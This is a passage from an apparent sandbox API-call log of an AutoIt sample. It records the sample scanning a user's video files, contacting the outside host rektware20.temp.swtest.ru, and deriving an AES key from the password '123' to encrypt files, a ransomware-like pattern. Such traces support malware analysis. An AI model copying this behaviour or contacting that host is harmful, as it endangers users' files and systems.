cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Wr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="MHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.277] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.277] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0066.277] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0066.277] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.277] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.277] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0066.277] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.277] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0066.277] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0066.277] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.277] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0066.277] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0066.277] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dd8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620dd8, lpdwBufferLength=0x130ee1c) returned 1 [0066.277] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.277] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.277] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.278] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0066.278] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0066.278] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0066.278] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0066.278] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629490, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629490*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0066.278] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.278] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.278] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.278] CloseHandle (hObject=0x0) returned 0 [0066.278] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.278] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0066.278] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0066.279] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.279] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.279] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.279] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.279] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.279] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.279] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0066.279] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.279] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.279] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0066.279] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.279] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.279] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.279] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.279] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.280] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0066.280] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0066.280] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0066.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0066.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0066.280] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0066.280] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aabc0) returned 1 [0066.281] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.281] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.281] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0066.281] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.281] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.281] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.281] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.281] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.281] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.281] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.281] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.281] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.281] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.281] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.281] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.281] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0066.282] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.282] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.282] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.282] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.282] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.282] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.282] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.282] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.282] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.282] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.282] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.282] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.282] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.282] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.282] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.282] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.282] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.282] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.282] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0066.283] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0066.283] CryptCreateHash (in: hProv=0x17aabc0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0066.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.284] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629570, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.284] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0066.284] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629560, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.284] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.284] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.284] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.284] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0066.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621780, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0066.285] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0066.285] CryptHashData (hHash=0x164c4f0, pbData=0x1629700, dwDataLen=0x3, dwFlags=0x1) returned 1 [0066.285] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.285] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.285] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.285] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.285] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.285] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.285] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.285] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0066.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621828, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0066.286] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0066.286] CryptDeriveKey (in: hProv=0x17aabc0, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c530) returned 1 [0066.286] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.286] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.286] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.286] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.286] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.286] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.286] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0066.286] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.286] WideCharToMultiByte 